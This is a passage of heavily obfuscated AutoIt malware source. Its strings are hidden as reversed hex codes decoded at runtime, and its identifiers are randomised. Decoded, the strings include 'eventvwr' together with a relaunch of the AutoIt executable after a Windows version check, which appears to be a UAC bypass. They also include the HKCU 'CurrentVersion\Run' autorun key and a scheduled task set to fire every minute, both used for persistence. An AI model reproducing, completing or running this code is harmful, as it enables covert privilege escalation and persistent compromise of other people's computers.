(STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) ] LOCAL $DDCIGKWTEY FOR $MCYSUGUWVSKI_PE = 0 TO 61 $DDCIGKWTEY &= CHRW ($SSKVZSSMECBHKZFNCHRA [$MCYSUGUWVSKI_PE ] ) NEXT RETURN $DDCIGKWTEY ENDFUNC FUNC L_YQJXRLZTTLIGHRMGVV () LOCAL $OTPVMZIVQUKDUNNALUAG [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $SKCEJPWVFJ FOR $UUQSAVIP_ETIZVM = 0 TO 2 $SKCEJPWVFJ &= CHRW ($OTPVMZIVQUKDUNNALUAG [$UUQSAVIP_ETIZVM ] ) NEXT RETURN $SKCEJPWVFJ ENDFUNC FUNC F_ZJJTAPPGWHTFSZ_JCB () LOCAL $KBIOYIJXUAKZRHKKMRHQ [62 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) ] LOCAL $DSKLAJDVPW FOR $OQSFJNIQGJWRXIL = 0 TO 61 $DSKLAJDVPW &= CHRW ($KBIOYIJXUAKZRHKKMRHQ [$OQSFJNIQGJWRXIL ] ) NEXT RETURN $DSKLAJDVPW ENDFUNC FUNC GOVTFKISTWCTYT_NBGYD () LOCAL $JEFPMTZYCCFVWFZVUAWU [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $BIGGMKLPRR FOR $KNEZVTDLLEMASME = 0 TO 2 $BIGGMKLPRR &= CHRW ($JEFPMTZYCCFVWFZVUAWU [$KNEZVTDLLEMASME ] ) NEXT RETURN $BIGGMKLPRR ENDFUNC FUNC FLPUPWTBHAUXSWFPOUWU () LOCAL $LWLUIKEFEQOHYPSVRFTM [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $KAUMEROXRM FOR $QAMZEIIADOFYMUT = 0 TO 3 $KAUMEROXRM &= CHRW ($LWLUIKEFEQOHYPSVRFTM [$QAMZEIIADOFYMUT ] ) NEXT RETURN $KAUMEROXRM ENDFUNC FUNC VYQMLZF_TMLADBKELPXQ () LOCAL $YNRKXLYRTMMEQKQXLEGZ [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $IHGP_BPGGA FOR $NWNJUMGCDMGDUYI = 0 TO 2 $IHGP_BPGGA &= CHRW ($YNRKXLYRTMMEQKQXLEGZ [$NWNJUMGCDMGDUYI ] ) NEXT RETURN $IHGP_BPGGA ENDFUNC FUNC QKWREQDEBDOFBXKNLXES () LOCAL $IQRORJHBCG_BOMMNSQEL [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $_TH_VJCBVD FOR $TJVMTLUFGMULOZP = 0 TO 0 $_TH_VJCBVD &= CHRW ($IQRORJHBCG_BOMMNSQEL [$TJVMTLUFGMULOZP ] ) NEXT RETURN $_TH_VJCBVD ENDFUNC FUNC KEUPUCYAPY_ILOXVSXBB () LOCAL $AYXEEDVGDUNYINDWRXGO [8 ] = [EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $MHPKRHSXVK FOR $PBUQRQYPLVMOTQN = 0 TO 7 $MHPKRHSXVK &= CHRW ($AYXEEDVGDUNYINDWRXGO [$PBUQRQYPLVMOTQN ] ) NEXT RETURN $MHPKRHSXVK ENDFUNC FUNC _KZQOJLYPTQMDGLLUZTT () LOCAL $KXYCHGNSFBBFWKJBAWCY [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $CMWJIWTSOS FOR $OUEDBGBEJUFQQYU = 0 TO 2 $CMWJIWTSOS &= CHRW ($KXYCHGNSFBBFWKJBAWCY [$OUEDBGBEJUFQQYU ] ) NEXT RETURN $CMWJIWTSOS ENDFUNC FUNC PNQUYITMRRWWHI_WHJQG () LOCAL $JJMUMVOBDDNQLSOLANHJ [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $FAWIDTSINE FOR $FPMUYHFAIHKBU_Y = 0 TO 2 $FAWIDTSINE &= CHRW ($JJMUMVOBDDNQLSOLANHJ [$FPMUYHFAIHKBU_Y ] ) NEXT RETURN $FAWIDTSINE ENDFUNC FUNC TINORMPYRGBREPROKBJP () LOCAL $GQHGFAIDRGOFJCENLSMY [6 ] = [EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $CAGJREMHLR FOR $RGMBIVPGKVEUXMT = 0 TO 5 $CAGJREMHLR &= CHRW ($GQHGFAIDRGOFJCENLSMY [$RGMBIVPGKVEUXMT ] ) NEXT RETURN $CAGJREMHLR ENDFUNC FUNC GKWNKPJQAUESYYSSGXHS () LOCAL $RFOCDFKGBXJCEXIWQADK [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $AWTJEEDODL FOR $XXEBUDERICFRGIS = 0 TO 2 $AWTJEEDODL &= CHRW ($RFOCDFKGBXJCEXIWQADK [$XXEBUDERICFRGIS ] ) NEXT RETURN $AWTJEEDODL ENDFUNC FUNC YAHKOLANWUPGBRJTDCHB () LOCAL $WKQLZTSOZXDEOTKSFDXH [12 ] = [EXECUTE (STRINGREVERSE ("74x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $NKXMVTLN_Q FOR $REHEBIHMOVLSFJV = 0 TO 11 $NKXMVTLN_Q &= CHRW ($WKQLZTSOZXDEOTKSFDXH [$REHEBIHMOVLSFJV ] ) NEXT RETURN $NKXMVTLN_Q ENDFUNC FUNC WJMKZIUQRBLQYHXIULEP () LOCAL $OZUSRAMKDPBGBTDGFFDM [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $XPTTZWJMB_ FOR $VWYHEIISOXLKMSC = 0 TO 4 $XPTTZWJMB_ &= CHRW ($OZUSRAMKDPBGBTDGFFDM [$VWYHEIISOXLKMSC ] ) NEXT RETURN $XPTTZWJMB_ ENDFUNC FUNC HYEFXFCSBWPSFKKXFUAS () LOCAL $ALWZNPNQMOKVHAALSZLP [12 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B5x0" ) ) ] LOCAL $WBFSHSMFNL FOR $AYMJJN_ACDANFQB = 0 TO 11 $WBFSHSMFNL &= CHRW ($ALWZNPNQMOKVHAALSZLP [$AYMJJN_ACDANFQB ] ) NEXT RETURN $WBFSHSMFNL ENDFUNC FUNC O_HOXGABXLMWDFLPUZMQ () LOCAL $OCGMMNRFUWLTORRTDEAV [11 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $MTVBJPVHB_ FOR $KMLBYVYGEKGEDHK = 0 TO 10 $MTVBJPVHB_ &= CHRW ($OCGMMNRFUWLTORRTDEAV [$KMLBYVYGEKGEDHK ] ) NEXT RETURN $MTVBJPVHB_ ENDFUNC FUNC JBYYOXCNBVJLNQ () IF $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV (@OSVERSION , EQHGEHDKHLRCRTDIXBBE () ) OR $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV (@OSVERSION , JSSCSXZRWZFDGOTZKKFA () ) THEN IF NOT $V_TOJPOTNIRPBTXMVPSLYTTEQEAVKRUMVRHVLXHLJMXAQ () THEN $EQQUTLGADYPHTRHSZIHNKR_DXHAVODVPHLJCQNGOTUDIQHJDFVMUFZL (BXCWWGGTVFWYOSEOSVVN () , "" , GVFFXILMGQSPQRGAMUOY () , @AUTOITEXE ) $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF (KEUPUCYAPY_ILOXVSXBB () ) EXIT ENDIF ELSEIF $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV (@OSVERSION , B_YKAEVRNL_EGNOFGUHH () ) THEN IF NOT $V_TOJPOTNIRPBTXMVPSLYTTEQEAVKRUMVRHVLXHLJMXAQ () THEN $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , EBXVHOURXFMQNJZOQBBL () , KTYCFPA_SBLYZATYVAHP () , EBXVHOURXFMQNJZOQBBL () , 0 ) $EQQUTLGADYPHTRHSZIHNKR_DXHAVODVPHLJCQNGOTUDIQHJDFVMUFZL (PMLSBBYRHONQWBKOOHZY () , WHEUFDNYSTQUADRAKGPS () , GVFFXILMGQSPQRGAMUOY () , NULL ) $EQQUTLGADYPHTRHSZIHNKR_DXHAVODVPHLJCQNGOTUDIQHJDFVMUFZL (PMLSBBYRHONQWBKOOHZY () , "" , GVFFXILMGQSPQRGAMUOY () , @AUTOITEXE ) $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF (ZIYYCNNOYTWVTHFFJPYF () ) EXIT ENDIF ENDIF ENDFUNC FUNC FYMIJDHUUDNDMRZEMIQW () LOCAL $QBRPXAETJVLJUVKHBCWJ [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $DHYLJZOLZS FOR $YPLHLTOZZUGGDJY = 0 TO 2 $DHYLJZOLZS &= CHRW ($QBRPXAETJVLJUVKHBCWJ [$YPLHLTOZZUGGDJY ] ) NEXT RETURN $DHYLJZOLZS ENDFUNC FUNC GOZZQWHIAOSUONHGSHLH () LOCAL $QXPQAP_AEOHMMQCMPFWH [6 ] = [EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $JZJYBWGDMG FOR $FEGSEXGTOJJHAIK = 0 TO 5 $JZJYBWGDMG &= CHRW ($QXPQAP_AEOHMMQCMPFWH [$FEGSEXGTOJJHAIK ] ) NEXT RETURN $JZJYBWGDMG ENDFUNC FUNC NCJKKXAJBORTELXYIEQO () LOCAL $LUYEVZESFDXQCKRHHLYH [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $TEFPLTJEYR FOR $NAGEPCNTSWYGNEY = 0 TO 3 $TEFPLTJEYR &= CHRW ($LUYEVZESFDXQCKRHHLYH [$NAGEPCNTSWYGNEY ] ) NEXT RETURN $TEFPLTJEYR ENDFUNC FUNC QIJBTIDMOMRLZRBB_TWU () LOCAL $FXAYFLWGZHSFTVBPRPPZ [62 ] = [EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) ] LOCAL $SHLWHMWNGU FOR $BDGUDFSXJJRMPDP = 0 TO 61 $SHLWHMWNGU &= CHRW ($FXAYFLWGZHSFTVBPRPPZ [$BDGUDFSXJJRMPDP ] ) NEXT RETURN $SHLWHMWNGU ENDFUNC FUNC XNENVQJEJIXHEVUEFXIT () LOCAL $CQPY_HCIBGCCFSVRDTOZ [21 ] = [EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) ] LOCAL $HYGONNBDCG FOR $BLYDMNXPIBXIRJO = 0 TO 20 $HYGONNBDCG &= CHRW ($CQPY_HCIBGCCFSVRDTOZ [$BLYDMNXPIBXIRJO ] ) NEXT RETURN $HYGONNBDCG ENDFUNC FUNC B_YKAEVRNL_EGNOFGUHH () LOCAL $ZFSARPBMPGXEYFQQ_EKR [2 ] = [EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $WHYTMCJBHO FOR $RYFENIACWMBXPOM = 0 TO 1 $WHYTMCJBHO &= CHRW ($ZFSARPBMPGXEYFQQ_EKR [$RYFENIACWMBXPOM ] ) NEXT RETURN $WHYTMCJBHO ENDFUNC FUNC AQINRPXUZXJYRNIYZRAR () LOCAL $YWNKZAKZVGVMSVLJIACE [21 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("B5x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("D5x0" ) ) ] LOCAL $EDYNQFYYSB FOR $LUEKWVCLLXOSDBP = 0 TO 20 $EDYNQFYYSB &= CHRW ($YWNKZAKZVGVMSVLJIACE [$LUEKWVCLLXOSDBP ] ) NEXT RETURN $EDYNQFYYSB ENDFUNC FUNC XVHTDHK_RKFQAIEYKYXE () LOCAL $DJXTZFO_MNKMPMLUZYOM [50 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("55x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) ] LOCAL $NYOUYTKOE_ FOR $JHXHZVSWAHQYAJO = 0 TO 49 $NYOUYTKOE_ &= CHRW ($DJXTZFO_MNKMPMLUZYOM [$JHXHZVSWAHQYAJO ] ) NEXT RETURN $NYOUYTKOE_ ENDFUNC FUNC YQTEWOIIXADURAFMAASW () LOCAL $DRNOCBCAFYAAATOISTXV [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $GDFBULHCZ_ FOR $WHJYYOALYBCWJCP = 0 TO 2 $GDFBULHCZ_ &= CHRW ($DRNOCBCAFYAAATOISTXV [$WHJYYOALYBCWJCP ] ) NEXT RETURN $GDFBULHCZ_ ENDFUNC FUNC IDDJOTKLHGNYILGBNNZY () LOCAL $MYPATQZOUJJPITXNOCCF [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $KOCQYUWRYY FOR $QXQEFHGOAIHVHSM = 0 TO 2 $KOCQYUWRYY &= CHRW ($MYPATQZOUJJPITXNOCCF [$QXQEFHGOAIHVHSM ] ) NEXT RETURN $KOCQYUWRYY ENDFUNC FUNC TVUWAKCJQNDYENXUEZNV () LOCAL $LNWIHOAWGVNCPSYRUUSB [62 